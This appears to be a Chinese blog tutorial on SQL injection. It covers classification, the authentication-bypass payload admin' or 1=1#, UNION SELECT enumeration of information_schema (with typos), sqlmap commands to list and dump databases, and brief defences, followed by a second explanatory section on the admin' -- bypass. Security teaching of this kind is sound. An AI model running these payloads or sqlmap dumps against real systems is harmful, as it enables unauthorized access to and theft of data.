WEB漏洞之SQL注入

SQL注入的简单例子:

使用URL:http://localhost/a.php?id=1'

在程序中,会执行下面的语句:

$id=$_GET['id'];

$sql="SELECT * FROM user WHERE id=$id' LIMIT 0,1"

执行上面的这条语句就会报错,这里如果不对URL进行判断,那么这就会导致语句的执行错误,严重的,别人就可以获取到想要的数据信息。

如何去发现SQL注入:

  1. 通过web漏洞扫描器发现
  2. 在参数后面添加错误语句
  3. 大量的对参数Fuzz测试

注入的分类

  1. 数字型注入:SELECT * FROM users WHERE id=$id LIMIT 0,1;
  2. 字符型注入:SELECT * FROM users WHERE username='admin' LIMIT 0,1;
  3. 注入提交的方式:GET,POST ,COOKIE,HTTP头部注入

注入方式

  1. 基于报错注入:注入错误,通过报错获取信息。
  2. 基于布尔的盲注
  3. 基于时间的盲注
  4. 联合查询
  5. 内联查询
  6. 堆叠的查询

常用的方式是前四种。

SQL手工注入

万能密码:PHP项目下,通过注入以下形式的sql,就能直接登陆到后台网站,而不需要密码:

admin ' or 1=1#

结合下面的SQL登陆判断

select * from user where username='$user' and passwd='$pass';

通过提交上面的字符,程序执行就会像下面这样:

select * from user where username ='admin' or 1=1 #' and password='pass';   //这样,#号后面的语句就会被注释掉,这样就绕过了程序对用户的判断。而直接以admin用户登陆

SQL注入的流程

  1. 猜解字段
  2. 查看当前数据库   ——>  猜解数据库中的表——>猜解数据库中有哪些字段
  3. Union select 1,group_concat(schema_name),3 from information_scheema.schemate%23    //查询所有数据库
  4. union select 1,group_concat(table_name),3 from information from information_schema.tables where  table_schema=0x736563757269749%23 //查询数据库中的表

UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns where table_name=0x736563757269749%23     //查看当前数据库中有哪些字段。

sqlmap工具的学习

官网:http://sqlmap.org/,我们可以使用扫描器,扫描出已有的SQL注入漏洞,然后再使用该工具进行测试该漏洞。

该工具用于测试业务是否有sql注入的漏洞。

使用方法:

python sqlmap.py -u "http://your url"  -v 3

-v 3表示的是sql注入的级别。为1~6,数字越大,代表了注入的时候,显示的信息越详细。

python sqlmap.py -u "http://your url"  -v 3 --current-db    //用于查看当前数据库的名称

python sqlmap.py -u "http://your url"  -v 3 --current-users   //当前数据库使用的用户和权限

python sqlmap.py -u "http://your url"  -v 3 --tables -D 数据库名   //查看当前数据库中有哪些表

python sqlmap.py -u "http://your url"  -v 3 --column -T 表名  -D 数据库名    //查看指定表下有哪些字段

python sqlmap.py -u "http://your url"  -v 3 --dump   -T 表名 -D 数据库名   //查看该表下有哪些数据。

上面的方式为GET注入的方式,下面记录以POST的方式,借助sqlmap进行注入:

借助于burpsuite,进行抓包,将抓取到的东西,保存至文档中1.txt,使用sqlmap分析该文档

python sqlmap.py -r 1.txt -v3

这样就可以对该网站进行post注入测试了。

如何防护SQL注入呢:

  1. CDN隐藏真是IP地址
  2. 通过安全函数进行过滤
  3. 对数据库最小权限设置,就算注入获取到该网站的数据库,其它的数据库也会很安全。
  4. 服务器针对性的WAF防火墙。
### SQL注入漏洞简介 SQL注入漏洞允许攻击者通过应用程序向数据库发送恶意的SQL命令,这些命令可能用于读取、修改甚至删除数据[^1]。 #### 防范措施概述 针对这种威胁,推荐采用多种防护手段相结合的方式。例如,使用参数化查询能够有效防止非法指令嵌入;对所有外部输入实施严格的验证与清理也是不可或缺的一环;另外还需设定合理的字符数上限并指定预期的数据格式;最后要避免泄露过多的技术细节给潜在入侵者。 ### 基础利用方式 对于存在缺陷的应用程序而言,如果未能妥善处理来自用户的输入,则可能会成为SQL注入的目标。假设有一个登录页面接受用户名和密码作为输入,并直接将其拼接到SQL查询字符串中而不做任何预处理: ```sql SELECT * FROM users WHERE username='input_username' AND password='input_password'; ``` 此时,假如`input_username`被设置为`admin' -- `而`input_password`为空串的话,那么最终形成的SQL语句将会变成这样: ```sql SELECT * FROM users WHERE username='admin' -- ' AND password=''; ``` 这里的双连字符(`--`)标志着后续内容应被视为注释而非实际逻辑的一部分,因此无论原始密码是什么,只要提供了特定形式的用户名就能绕过认证机制成功登陆管理员账户[^5]。 然而值得注意的是,在现代开发实践中,上述情景已经很少见到了,因为大多数框架都内置了有效的防御机制来抵御此类攻击。开发者应当始终遵循最佳实践指南构建安全可靠的软件产品。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值